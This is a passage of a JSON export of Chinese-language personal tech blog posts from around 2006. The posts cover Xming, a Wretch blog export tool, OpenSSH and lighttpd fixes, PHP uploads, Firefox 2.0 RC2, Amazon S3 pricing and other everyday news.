    "body": "先前 VLSI 課程助教 (我只認識 <a href=\"http://www.wretch.cc/user/youngj\" rel=\"tag\">YoungJ</a>... :Q) 跑來要在系計中的電腦教室灌 Windows 上的 X Server，說要安裝 <a href=\"http://sourceforge.net/projects/xming/\">Xming</a> 這套軟體，當初以為是要付費的軟體，結果今天他跑下來要我開 Administrator 的權限讓他們安裝，偷瞄了一下才發現其實不是... XD\r\n\r\n系計中之前都是安裝 <a href=\"http://www.cygwin.com/\" rel=\"tag\">Cygwin</a>，但 <a href=\"http://www.cygwin.com/\" rel=\"tag\">Cygwin</a> 實在是太肥了，於是當時一直在考慮買 <a href=\"http://www.starnet.com/\" rel=\"tag\">XWin32</a> (一直跟 <a href=\"http://www.csie.nctu.edu.tw/~chenbc/\" rel=\"tag\">stephon</a> 以及 <a href=\"http://www.csie.nctu.edu.tw/~ycchang/\" rel=\"tag\">團長</a> 討論)，結果莫名其妙發現只要 10MB 的 <a href=\"http://sourceforge.net/projects/xming/\" rel=\"tag\">Xming</a>...\r\n\r\n找了一下文件，發現其實有不少人都已經玩過了：<a href=\"http://gdfan.twbbs.org/blog/2005/06/06/114\">Xming - Windows 上的 X Server</a>、<a href=\"http://1337-tux.blogspot.com/2005/03/xming.html\" rel=\"tag\">哇 哈哈~ 居然發現這種好康物! Xming</a>。\r\n\r\n測了一下 xcalc 是正常的，這樣實在太棒了，以後打算把 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 跑在上面，跟 <a href=\"http://www.starnet.com/\" rel=\"tag\">XWin32</a> 說再見吧 :p (以後系計中的 PC 在安裝的時候就可以把 <a href=\"http://sourceforge.net/projects/xming/\" rel=\"tag\">Xming</a> 列入列表了 :p)",
    "title": "Xming"
  },
  {
    "id": "757",
    "body": "昨天跟 <a href=\"http://maniclf.blogspot.com/\" rel=\"tag\">Manic</a> 在清夜吃飯後跑去五十嵐買飲料，發現清夜的五十嵐剛好開在建新路 (?) 五十號，我想這應該是故意的... 查了一下五十嵐沒有官方站台，我想知道是不是很多家五十嵐都開在五十號上？:p\r\n\r\n<strong>Update</strong>：找不到他的 logo 圖片，可以看看 <a href=\"http://blog.sina.com.tw/mayyu_doggy/article.php?pbgid=6276&entryid=57283\">五十嵐生意超好的！</a> 這篇，有幾張圖 :p\r\n\r\n<strong>Update</strong>：在下面留言所說的 <a href=\"http://www.ptt.cc/\" rel=\"tag\">Ptt</a> 精華區應該是指 <a href=\"http://www.ptt.cc/man/Food/DB9A/D871/D586/D275/index.html\" rel=\"tag\">五十嵐</a> 這個 entry。",
    "title": "五十嵐"
  },
  {
    "id": "758",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://www.sony.com/\" rel=\"tag\">Sony</a> 終於打算在 <a href=\"http://www.dell.com/\" rel=\"tag\">Dell</a>、<a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a>、<a href=\"http://www.ibm.com/\" rel=\"tag\">IBM</a>/<a href=\"http://www.lenovo.com/\" rel=\"tag\">Lenovo</a>、<a href=\"http://www.toshiba.com/\" rel=\"tag\">Toshiba</a>、<a href=\"http://www.fujitsu.com/\" rel=\"tag\">Fujitsu</a> 的電池爆過後，正式回收所有筆記電腦鋰電池：<a href=\"http://hardware.slashdot.org/article.pl?sid=06/09/29/150209\">Sony Announces Global Battery Recall</a>。\r\n\r\n包括了更早之前的 <a href=\"http://blog.gslin.org/archives/2005/12/03/240/\">Sony Rootkit 事件</a> 以及 <a href=\"http://blog.gslin.org/archives/2005/12/04/241/\">Sony 推廣 PSP 所使用的惡行</a>... 這家公司惡名昭彰啊... :p",
    "title": "Sony 終於正式回收所有電池"
  },
  {
    "id": "759",
    "body": "<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 希望改善電源供應器，將目前提供多種電源的情況改成單一 12V 的電源，以提升使用效率，另外也可以減少 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 裡四十五萬台 server 的電源消耗量 XD：<a href=\"http://hardware.slashdot.org/article.pl?sid=06/09/26/2039213\">Google Calls For Power Supply Design Changes</a>。",
    "title": "Google 希望改善電源供應器"
  },
  {
    "id": "760",
    "body": "在二月的時候在 <a href=\"http://blog.gslin.org/archives/2006/02/02/341/\">鍵盤</a> 這篇提到 Optimus Mini 的預購，剛剛終於在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://www.artlebedev.com/everything/optimus-mini/\" rel=\"tag\">Optimus Mini 三鍵鍵盤</a> 的 review 了：<a href=\"http://hardware.slashdot.org/article.pl?sid=06/09/27/1234230\">Optimus Mini Three OLED keyboard reviewed</a>，原文在這：<a href=\"http://tweakers.net/reviews/650\">Optimus Mini Three: OLED keyboard reviewed</a>。\r\n\r\n(引用二月那篇的圖，讓沒看過 &amp; 忘記的人看一下這個三鍵鍵盤有多華麗... XD)\r\n\r\n<a href=\"http://www.flickr.com/photos/wowstanley/93814085/\"><img src=\"http://static.flickr.com/13/93814085_a4a57b9876.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/wowstanley/93813967/\"><img src=\"http://static.flickr.com/21/93813967_493ca59989.jpg\" alt=\"\" /></a>\r\n\r\n直接引用第三頁的說明，這支鍵盤其實裡面就有個小型的處理器以及記憶體：\r\n<blockquote>Apart from the obligatory resistors and capacitors, we discover three big chips. In the centre of the board is a PIC18F8722 programmable microchip. This chip operates at a maximum clock rate of 40MHz and offers the programmer four serial ports, 128KB programmable memory and 3.8KB working memory.</blockquote>\r\n另外這支鍵盤還提供 library 讓你自己開發程式，於是最後一頁就直接惡搞，利用他的 LED 來顯示網頁... XD",
    "title": "Optimus 的三鍵鍵盤"
  },
  {
    "id": "761",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到轉自 <a href=\"http://www.engadget.com\" rel=\"tag\">Engadget</a> 的報導指出 <a href=\"http://www.apple.com/itunes/\" rel=\"tag\">Apple iTunes</a> 上面某些 640x480 的影片其實是從 320x240 的影片重新處理後丟上去的，所以看起來反而比 320x240 的版本還糟：<a href=\"http://apple.slashdot.org/article.pl?sid=06/09/30/0716240\">Apple iTunes Upsampling Higher Resolution Videos?</a>。\r\n\r\n接下來要看 <a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> 怎麼處理這件事... 因為花錢反而當了冤大頭，依照美國人的習慣，應該是會告到翻 :o",
    "title": "Apple iTunes 所提供的「高畫質」影像"
  },
  {
    "id": "763",
    "body": "剛剛在 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 的 CVS Log 上看到 <a href=\"http://www.openssh.org/\" rel=\"tag\">OpenSSH</a> 也有漏洞要修補... (!@#$%^) 不過 Security Advisory 還沒看到 Security Officer 丟出來，要再看看要怎麼處理...\r\n\r\n<strong>補記</strong>：看起來是 <a href=\"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4924\" rel=\"tag\">CVE-2006-4924</a> 與 <a href=\"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4925\" rel=\"tag\">CVE-2006-4925</a> 這兩份，不過目前這兩份文建的狀態都是 Under review，以目前的敘述看起來是 DoS attack 的...\r\n\r\n<strong>Update</strong>：SA 放出來了：<a href=\"http://security.freebsd.org/advisories/FreeBSD-SA-06:22.openssh.asc\">Multiple vulnerabilities in OpenSSH</a>，一個是 <a href=\"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4924\" rel=\"tag\">CVE-2006-4924</a>，另外一個是 <a href=\"http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5051\" rel=\"tag\">CVE-2006-5051</a>。\r\n\r\n後者是在打開 GSSAPI Authentication 時的漏洞，預設是關掉的，所以應該還好...",
    "title": "OpenSSH 的修補"
  },
  {
    "id": "764",
    "body": "用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 把這些人現在的情況找出來，其實看看還蠻有趣的 :p\r\n\r\n<ul>\r\n\t<li><a href=\"http://office.digitimes.com.tw/ShowNews.aspx?zCatId=642&zNotesDocId=AC7FCE4D8390F0F44825712C0047DAB0\">企業IT應用成功案例報導－人物專訪－世界先進電腦與網路管理部技術副理馮文俊 世界先進採用CP Secure CSG　創造穩定、安全、效能兼備資訊環境</a></li>\r\n\t<li><a href=\"http://www.informationsecurity.com.tw/news/view.asp?nid=2709\">「反間諜軟體大作戰」研討會講義開放下載</a></li>\r\n</ul>",
    "title": "十年前的人物"
  },
  {
    "id": "765",
    "body": "每天都要 Moderate 大約十篇的 Comment，決定把 <a href=\"http://unknowngenius.com/blog/wordpress/spam-karma/\" rel=\"tag\">Spam Karma</a> 的敏感等級開高一點避免每天都要審一堆其實是 Spam 的 Comment... XD\r\n\r\n(如果正常寫 Comment 卻被當成 Spam，可以寫信跟我抱怨... 我會考慮再改回來 XD)",
    "title": "把 Spam Karma 開強一點..."
  },
  {
    "id": "767",
    "body": "前幾天帶學弟 <a href=\"http://manic.csie.net/blog/\" rel=\"tag\">Manic</a> 去新竹眾利書局晃，結果學弟在 18 禁漫畫區看到吉永史 (<a href=\"http://en.wikipedia.org/wiki/Fumi_Yoshinaga\" rel=\"tag\">Fumi_Yoshinaga</a>、<a href=\"http://ja.wikipedia.org/wiki/%E3%82%88%E3%81%97%E3%81%AA%E3%81%8C%E3%81%B5%E3%81%BF\" rel=\"tag\">よしながふみ</a>) 的作品就滔滔不絕講述這個作者的事蹟：這個作者的第一部「從良」作品就得獎並且翻拍成日劇，結果作者按奈不住，後面又接著畫續篇搞 BL... @_@\r\n\r\n我聽到的時候已經自動 filter 掉了 (感謝 <a href=\"http://slzzp.blogspot.com/\" rel=\"tag\">slzzp</a> 訓練有素)，不過當聽到這部作品是 <a href=\"http://dorama.info/drama/dramashow_common.php?num=360\">西洋骨董洋果子店</a> (日劇的部分可以參考 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao 大長輩</a> 所寫的 <a href=\"http://blog.ijliao.info/archives/2006/05/27/2313/\">西洋骨董洋果子店</a> 這篇) 時就對於這部作品感到興趣，於是在學弟買下 5 ~ 7 大搞 BL 的部分後，我就慫恿他把前面四本的正常版也買下來... XD\r\n\r\n不過我看了第一本以後我就覺得被騙了... Q_Q 作者根本在挑戰尺度極限... XD\r\n\r\n據 <a href=\"http://greenisland.csie.nctu.edu.tw/wp/\" rel=\"tag\">Blake 學長</a> 看過前面兩本後 (後面他說他看不下去了 XD)，心得是：「日劇完全沒有拍出漫畫的 (BL) 精神」以及「作者在前面四本一定是按奈不住才會去畫後面三本」XD\r\n\r\n強烈建議看過日劇的人不要回頭去看漫畫，這會破壞對主角的美好印象 XD",
    "title": "西洋骨董洋果子店"
  },
  {
    "id": "769",
    "body": "<strong>Update</strong>：完整的內容請參考 <a href=\"http://blog.gslin.org/archives/2006/10/04/771/\">無名 Blog 匯出成 MT 格式</a> 這篇。\r\n\r\n十三分鐘。\r\n<blockquote><small>15:30 &lt;@gslin&gt; 乾脆把 dark.tw 弄成 \"從無名的黑暗世界拯救出來的人們\"\r\n15:30 &lt;@i&gt; (Y)\r\n15:37 &lt;@y&gt; 這真的很像在考驗使用者可以忍受到什麼程度... o_o\r\n15:37 &lt;@y&gt; 壓力測試...\r\n15:39 &lt;@i&gt; btw, 有名大站這時候就該要跳出來解救蒼生了啊...\r\n15:39 &lt;@i&gt; 還是說, 其實 DK 大現在正在刻程式 ?\r\n15:42 &lt;@gslin&gt; 弄完了\r\n15:42 &lt;@gslin&gt; http://xxxxxxxxxx.dark.tw/\r\n15:43 &lt;@i&gt; 復興基地, 美麗的寶島 ? XD</small></blockquote>\r\n晚點應該來做一些進階功能的...",
    "title": "從無名搬家的速度"
  },
  {
    "id": "770",
    "body": "<strong>Update</strong>：完整的內容請參考 <a href=\"http://blog.gslin.org/archives/2006/10/04/771/\">無名 Blog 匯出成 MT 格式</a> 這篇。\r\n\r\n轉成 MT 格式已經寫完了，這次包括了「本文、Comments、Trackback」都備份出來。\r\n\r\n但因為我打算連 Blog 上使用無名的圖與影片都一起轉出來，所以要問個技術問題：無名的圖與影片放在什麼樣的目錄？請給我 VIP 與非 VIP 的範例，都要處理。",
    "title": "Almost Finished... - 無名的 Blog 轉成 MT 格式"
  },
  {
    "id": "771",
    "body": "<strong>給不想看下面說明的人</strong>：備份服務的網址是 <a href=\"http://backup.hasname.com/blog/wretch/\">http://backup.hasname.com/blog/wretch/</a>。\r\n\r\n<strong>注意</strong>：這項服務還有一些小問題，有可能隨時都在改 code。\r\n\r\n<strong>2006/10/05 20:54 更新</strong>：現在的版本會多開幾條連線平行化處理，下載的速度應該會快很多。\r\n\r\n<strong>2006/10/05 17:30 更新</strong>：現在下載的檔名會是 <code>backup-${username}.txt</code> 了，這樣應該比較方便。\r\n\r\n雖然在去年六月的時候為了幫 <a href=\"http://ashley.yichi.org/\" rel=\"tag\">ashley 大姊姊</a> (a.k.a. 電視兒童) 從 <a href=\"http://www.wretch.cc/\" rel=\"tag\">無名</a> 跳出來而用 <a href=\"http://www.perl.org/\" rel=\"tag\">Perl</a> 寫了一個小程式，將 <a href=\"http://www.wretch.cc/blog/\" rel=\"tag\">無名 Blog</a> 上的文章匯出成 RSS 2.0 格式，再匯入 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 裡。後來這個小程式就再加強一下，寫了一個網頁並公開出來 (參考 <a href=\"http://gslin.org/2005/06/05/1291/\">無名小站的 Blog 與 Album 備份及還原服務</a> 這篇文章)，並且希望 <a href=\"http://www.wretch.cc/\" rel=\"tag\">無名</a> 提供更完整的匯出及匯入服務。\r\n\r\n後來 <a href=\"http://blog.yam.com/\">養樂多 (Yam Roodo) 的 Blog 服務</a> 提供 <a href=\"http://www.sixapart.com/movabletype/docs/mtimport\" rel=\"tag\">MT 格式</a> 的匯出與匯入，而國外 <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 也支援 <a href=\"http://www.sixapart.com/movabletype/docs/mtimport\" rel=\"tag\">MT 格式</a> 的匯入。選擇 <a href=\"http://www.sixapart.com/movabletype/docs/mtimport\" rel=\"tag\">MT 格式</a> 的確是相當不錯的想法，因為可以同時備份文章內容與 Comments (留言) 與 Trackbacks (引用)。\r\n\r\n結果一年過去了，<a href=\"http://www.wretch.cc/blog/\" rel=\"tag\">無名 Blog</a> 仍然只提供匯出功能，而且匯出的內容不是公開格式，沒有現有軟體可以讀。另外，即使匯出了也沒有用，因為 <a href=\"http://www.wretch.cc/\" rel=\"tag\">無名</a> 也沒有提供匯入的功能：換句話說，除非你會寫程式，不然你透過 <a href=\"http://www.wretch.cc/\" rel=\"tag\">無名</a> 備份程式備份出來的格式並沒有用。\r\n\r\n在 <a href=\"http://www.wretch.cc/\" rel=\"tag\">無名</a> 打著 Web 2.0 口號卻沒有 Web 2.0 很重要的「以使用者為中心」的精神只顧著賺錢的情況下，我就有了寫 <a href=\"http://www.wretch.cc/blog/\" rel=\"tag\">無名 Blog</a> 匯出成 <a href=\"http://www.sixapart.com/movabletype/docs/mtimport\" rel=\"tag\">MT 格式</a> 的打算，讓使用者可以利用這個程式將自己的 Blog 轉到其他平台。但我一直沒有很想寫的心情。一方面是前幾個月手受傷，沒有力氣；另一方面是 <a href=\"http://www.wretch.cc/\" rel=\"tag\">無名</a> 的成長其實有助於台灣網路界的發展 (是的，就是指 <a href=\"http://www.wretch.cc/\" rel=\"tag\">無名</a> 一直用很笨的方法想壓迫 <a href=\"http://www.hinet.net/\" rel=\"tag\">HiNet</a>，雖然不會成功，但總是第一波)；但其實最主要讓我不想寫的原因是，寫了以後會淪為商業團體 (<a href=\"http://www.pixnet.net/\" rel=\"tag\">Pixnet</a>) 以及搗亂團體 (<a href=\"http://blog.xdite.net/\" rel=\"tag\">XDite</a>) 的打手，所以一直遲遲沒有寫。\r\n\r\n直到前幾天 <a href=\"http://www.wretch.cc/\" rel=\"tag\">無名</a> 硬上 mypage，在所有使用者的頁面上都加上廣告，違反 VIP 合約規定，有認識的熟人想要從 <a href=\"http://www.wretch.cc/blog/\" rel=\"tag\">無名</a> 搬出來 (人情債... :p)，我才決定動工。(我一直勸他上寄存證信函準備打民事訴訟，不過他好像興趣缺缺)\r\n\r\n所以，回到原來的主題，這個匯出程式應該是目前網路上最完整的版本，包括了：\r\n<ul>\r\n\t<li>完整的本文 (含標題、時間日期、分類)</li>\r\n\t<li>完整的 Comments (含時間日期)</li>\r\n\t<li>完整的 Trackbacks (含時間日期)</li>\r\n\t<li>文章是否接受 Comments 與 Trackbacks</li>\r\n</ul>\r\n同時我測試過匯出的內容可以匯入到 <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 以及自己所架設的 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a>，所以應該是沒什麼問題。\r\n\r\n為了希望能夠更快推廣這個服務，我規定了一個「有漏洞的」使用者條款：\r\n<blockquote>請注意：使用本項服務 (將 <a href=\"http://www.wretch.cc/blog/\" rel=\"tag\">無名小站 Blog</a> 輸出成 MT 備份資料) 成功轉換後，您必須寫一篇本服務的使用指南。</blockquote>\r\n所謂的有漏洞是指：你寫了可以不用公開，你可以丟在個人板上，也可以丟在其他任何地方。如果你願意公開，我會很感謝你 :p 但你不公開我也不會因此咬你 :p\r\n\r\n希望大家使用的愉快，有任何問題請寄信給我，我的 mail 在最上面的 About &amp; Contact 連結裡有 :p",
    "title": "無名 Blog 匯出成 MT 格式"
  },
  {
    "id": "772",
    "body": "整理一下，為了寫這次的東西多學了多少 Perl Module 的用法：\r\n<ul>\r\n\t<li><a href=\"http://search.cpan.org/dist/TimeDate/lib/Date/Parse.pm\" rel=\"tag\">Date::Parse</a>：其中的 str2time() 好用。</li>\r\n\t<li><a href=\"http://search.cpan.org/dist/HTML-Tree/lib/HTML/TreeBuilder.pm\" rel=\"tag\">HTML::TreeBuilder</a>：是寫完後才學到的，沒用上有點可惜...</li>\r\n\t<li><a href=\"http://search.cpan.org/dist/ParallelUserAgent/lib/LWP/Parallel/UserAgent.pm\" rel=\"tag\">LWP::Parallel::UserAgent</a>：仔細研究後才發現之前學到的是錯誤的用法，不一定能正確地抓到資料。</li>\r\n</ul>",
    "title": "寫個 Perl 學到多少東西"
  },
  {
    "id": "773",
    "body": "早上發現我們的 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 會不斷的掛掉，加了 ktrace 準備看 crash 的時候是那個 bug 產生的時候發現又不會掛了...\r\n\r\nAnyway，在 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 官方的 Blog 上看到 <a href=\"http://blog.lighttpd.net/articles/2006/10/04/pre-release-lighttpd-1-4-13-r1370-tar-gz\">1.4.13-r1370</a> 修正了一個嚴重的 crash bug：<a href=\"http://trac.lighttpd.net/trac/ticket/876\">Segmentation Fault</a>，其實只是把某個變數改掉而已：<a href=\"http://trac.lighttpd.net/trac/changeset/1352\" rel=\"tag\">Changeset 1352</a>。不過這次放的是 PRERELEASE，應該要用力推讓他們放 RELEASE...\r\n\r\n不過 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 上有完整的 <a href=\"http://valgrind.org/\" rel=\"tag\">Valgrind</a> 可以用真不錯... +_+ 我記得很久前在 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上測試的時候還是不會動的，所以只好靠 ktrace 惡搞...\r\n\r\n<strong>Update</strong>：我決定送一個 patch 將 ports 裡的 lighttpd 1.4.12 給搞定：<a href=\"http://www.freebsd.org/cgi/query-pr.cgi?pr=104061\">ports/104061: [PATCH] www/lighttpd: Crash patch (official)</a>。",
    "title": "lighttpd 1.4.13-r1370"
  },
  {
    "id": "774",
    "body": "應該說有人接手了 <a href=\"http://www.freedb.org/\" rel=\"tag\">FreeDB</a> (<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 的報導：<a href=\"http://slashdot.org/articles/06/10/05/1712215.shtml\">Freedb.org Returns to Life</a>)，不過有人馬上問「為什麼不用 <a href=\"http://www.freedb2.org/\" rel=\"tag\">freedb2.org</a>？」，然後 <a href=\"http://www.freedb2.org/\" rel=\"tag\">freedb2</a> 的維護者就跳出來了... :p\r\n\r\n關於 <a href=\"http://www.freedb.org/\" rel=\"tag\">FreeDB</a> 與 <a href=\"http://www.freedb2.org/\" rel=\"tag\">freedb2</a> 的恩恩怨怨，請參考 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 上 <a href=\"http://en.wikipedia.org/wiki/FreeDB\" rel=\"tag\">FreeDB</a> 這個條目的 \"Motivation\"。",
    "title": "FreeDB 復出"
  },
  {
    "id": "775",
    "body": "當有人用 GPU 跑 FFT 計算時 (請參考 <a href=\"http://blog.gslin.org/archives/2006/05/30/622/\">用 GPU 跑 FFT</a> 這篇)，很多大量計算的專案應該就在動 GPU 的腦筋了... :p\r\n\r\n結果剛剛在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://folding.stanford.edu/\" rel=\"tag\">Folding@home</a> 支援使用 <a href=\"http://www.ati.com/\" rel=\"tag\">ATI</a> 顯示卡上的 GPU 運算的版本：<a href=\"http://science.slashdot.org/article.pl?sid=06/10/02/2139222\">Folding@Home Releases GPU Client</a>，依照 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上引述的說法，使用 GPU 運算的版本比起使用 CPU 運算的版本快了 20 ~ 40 倍。",
    "title": "利用 GPU 跑 Folding@home"
  },
  {
    "id": "776",
    "body": "要寫 code 的時候忘了關鍵字，隨手找了一下 PHP 上傳的資料，發現大家都是用 <code>copy()</code> + <code>unlink()</code> 的方法，沒有人是用 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 網站提供的函數直接處理：\r\n<ul>\r\n\t<li><a href=\"http://www.jollen.org/php/articles/upload.html\">PHP 檔案上傳 (1/2)</a>、<a href=\"http://www.jollen.org/php/articles/upload-2.html\">PHP 檔案上傳 (2/2)</a></li>\r\n\t<li><a href=\"http://myweb.hinet.net/home10/taipeilink/TeachFiles/Php/Php_z_file1.htm\">[實務製作]檔案上傳實作(一)</a>、<a href=\"http://myweb.hinet.net/home10/taipeilink/TeachFiles/Php/Php_z_file2.htm\">[]檔案上傳實作(二)</a></li>\r\n\t<li><a href=\"http://www.php5.idv.tw/modules.php?mod=books&act=show&shid=2551\">PHP 檔案上傳、錯誤判斷</a></li>\r\n\t<li><a href=\"http://dob.tnc.edu.tw/themes/old/showPage.php?s=3737&t=84\">PHP檔案上傳</a></li>\r\n</ul>\r\n在 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 網站的說明裡的 <a href=\"http://php.nctu.edu.tw/manual/en/features.file-upload.php\">Chapter 38. Handling file uploads</a> 提到你可以直接用 <code>move_uploaded_file()</code> 處理，<a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 會檢查這個檔案是不是使用者所上傳的檔案。同時，這個指令在某些情況下也會比較有效率。(在 /tmp 與 destdir 同個 filesystem 的情況下)",
    "title": "PHP 裡檔案的上傳"
  },
  {
    "id": "778",
    "body": "在 <a href=\"http://www.mozillazine.org/\" rel=\"tag\">mozillaZine</a> 看到 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Mozilla Firefox</a> 2.0 RC2 出版了，跟 RC1 相比主要是修正穩定性的 bug：<a href=\"http://www.mozillazine.org/talkback.html?article=20071\">Mozilla Firefox 2 Release Candidate 2 Available</a>。\r\n\r\n除了直接安裝外，你還可以選擇安裝可攜版 (Portable) 感覺看看如何，因為據說可攜版並不會影響到使用者原有的 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 設定：<a href=\"http://portableapps.com/apps/internet/firefox_portable/test\">Firefox Portable 2.0 Release Candidate 2</a>。\r\n\r\n我自己是直接使用 2.0 RC2 了，包括桌上的電腦與筆記電腦。記憶體使用的情況比起 1.5 好很多 :p 另外 Session Saver 與 Undo close tab 這兩個 Addons (以前叫 Extensions) 的功能也都內建了... :)",
    "title": "Mozilla Firefox 2.0 RC2"
  },
  {
    "id": "779",
    "body": "剛剛在 <a href=\"http://del.icio.us/ijliao/\" rel=\"tag\">ijliao 的 del.icio.us</a> 看到 <a href=\"http://jeremy.zawodny.com/blog/\" rel=\"tag\">Jeremy Zawodny</a> 講 <a href=\"http://aws.amazon.com/s3/\" rel=\"tag\">Amazon S3</a> 備份服務的文章 (看了一下那篇文章的日期，應該是還沒在 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 上讀到而已)，仔細看了一下價錢，相當不錯啊 :~\r\n<ul>\r\n\t<li>$0.15 per GB-Month of storage used.</li>\r\n\t<li>$0.20 per GB of data transferred.</li>\r\n</ul>\r\n換算一下，儲存的量才 NTD$4.5/GB-Month，流量也才 NTD$6.5/GB，在沒有最低使用金額，可以買個來玩看看...",
    "title": "Amazon S3"
  },
  {
    "id": "780",
    "body": "從 <a href=\"http://www.wretch.cc/blog/\" rel=\"tag\">無名 Blog</a> 搬家後產生的破圖問題有幾種解法，但我都不太喜歡：\r\n<ul>\r\n\t<li>要求使用者給帳號密碼 (要搬去的地方)，然後直接透過上傳介面傳上去，取得新上傳的的檔名後換掉。這個做法應該會違反不少 BSP 的 TOS (不得將帳號密碼交給第三者的原則)。另外一個問題是這樣就變成要寫很多家的 Uploading &amp; blah &amp; blah &amp; ... 的程式碼。</li>\r\n\t<li>丟到 <a href=\"http://xs.to/\" rel=\"tag\">xs.to</a>，但這似乎違反 <a href=\"http://xs.to/\" rel=\"tag\">xs.to</a> 的 TOS，不然好像還不錯...。</li>\r\n</ul>\r\n我比較偏好 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 那樣利用 Cryptography，不使用密碼而透過一些其他的認證以及 Standard API 存取使用者的相簿... 不過沒有繁體中文的介面就很慘啊啊啊 @_@",
    "title": "從無名搬家時的圖片問題..."
  },
  {
    "id": "781",
    "body": "換 IP address，順便從 <a href=\"http://httpd.apache.org/\" rel=\"tag\">Apache</a> 2.0 換 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a>，舊的 VirtualHost 還有跑，不過打算下午就整個拿掉。\r\n\r\n在換的時候本來是採用舊的方法，也就是用 mod_rewrite 指定某幾個目錄丟給 index.php：<a href=\"http://blog.gslin.com/2006/03/lighttpd-wordpress-20-permlink.html\">lighttpd + WordPress 2.0 對於 Permlink 的處理</a>，不過剛剛在 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 上發現有人給出透過 404 handler 處理的方法，這樣就跟原本 .htaccess 裡的設定等價 (非目錄、非檔案就丟給 index.php)，看起來棒多了：<a href=\"http://www.bigbold.com/snippets/posts/show/368\">WordPress with clean urls on Lighttpd</a>。\r\n\r\n<strong>Update</strong>：提早拿掉提早測試 :p 好像有變快... (錯覺嗎？XD)",
    "title": "Blog 換 Web Server"
  },
  {
    "id": "783",
    "body": "從 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 (<a href=\"http://it.slashdot.org/article.pl?sid=06/10/09/1644230\">The BBC's Honeypot PC</a>) <a href=\"http://news.bbc.co.uk/\" rel=\"tag\">BBC</a> 利用一台 <a href=\"http://www.microsoft.com/windowsxp/pro/\" rel=\"tag\">Windows XP Professional</a> (儘可能使他安全，我猜應該是開 Firewall + 防毒軟體之類的步驟...) 裝 <a href=\"http://www.vmware.com/\" rel=\"tag\">VMWare</a>，然後在裡面安裝 <a href=\"http://www.microsoft.com/windowsxp/home/\" rel=\"tag\">Windows XP Home</a> (預設安裝，如同一般家庭所使用的) 然後上 Internet 測試。使用 <a href=\"http://www.vmware.com/\" rel=\"tag\">VMWare</a> 的原因是可以在短時間內恢復整個系統，而且可以確保恢復的系統是乾淨的。\r\n\r\n上 Internet 後測試的結果當然是超慘啦，Port Scan、Virus Attack 樣樣都來，然後宣稱 Internet 是不安全的 (雖然是事實...)：<a href=\"http://news.bbc.co.uk/2/hi/technology/5414502.stm\">Tracking down hi-tech crime</a>。不過現在的洞大多都不是從這種地方攻擊，大多都是 E-mail 病毒、IE 漏洞造成的... 其實跟 Firewall 已經沒什麼太大的關係了。\r\n\r\n就當作促進產業發展的置入性行銷吧 :p",
    "title": "不安全的 Internet"
  },
  {
    "id": "784",
    "body": "<a href=\"http://evhead.com/\" rel=\"tag\">Evan Williams</a> (<a href=\"http://www.odeo.com/\" rel=\"tag\">Odeo</a> 的 CEO，不過更有名的頭銜應該是 <a href=\"http://www.blogger.com/\" rel=\"tag\">Blogger</a> 的創辦人) 在他的 Blog 上諷刺 <a href=\"http://www.newsweek.com/\" rel=\"tag\">Newsweek</a>，當其他版本都在講溫室效應所造成的危機時，U.S. 版的卻認為華盛頓性醜聞事件比較值得上封面：<a href=\"http://evhead.com/2006/10/priorities.asp\">Priorities</a>。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/265251341/\"><img src=\"http://static.flickr.com/115/265251341_af693a2716.jpg\" alt=\"\" /></a>",
    "title": "Newsweek 的封面"
  },
  {
    "id": "785",
    "body": "好幾個人寫信到 <a href=\"http://group.nctu.edu.tw/\" rel=\"tag\">group.nctu.edu.tw</a> 信箱說可以刪除站台但無法新增，檢查以後發現是 twbbs.org.tw 暫時失效造成。所以暫時先改成檢查 twbbs.org，等到 twbbs.org.tw 恢復後再改回去：<a href=\"http://group.nctu.edu.tw/blog/2006/10/blog-post.html\">新增站台的功能暫時恢復</a>。\r\n\r\n參考：<a href=\"http://svn.sourceforge.net/viewvc/group-xfer/www/manage-addhost.php?view=log\">Log of /www/manage-addhost.php</a>。",
    "title": "twbbs.org.tw 暫時失效"
  },
  {
    "id": "786",
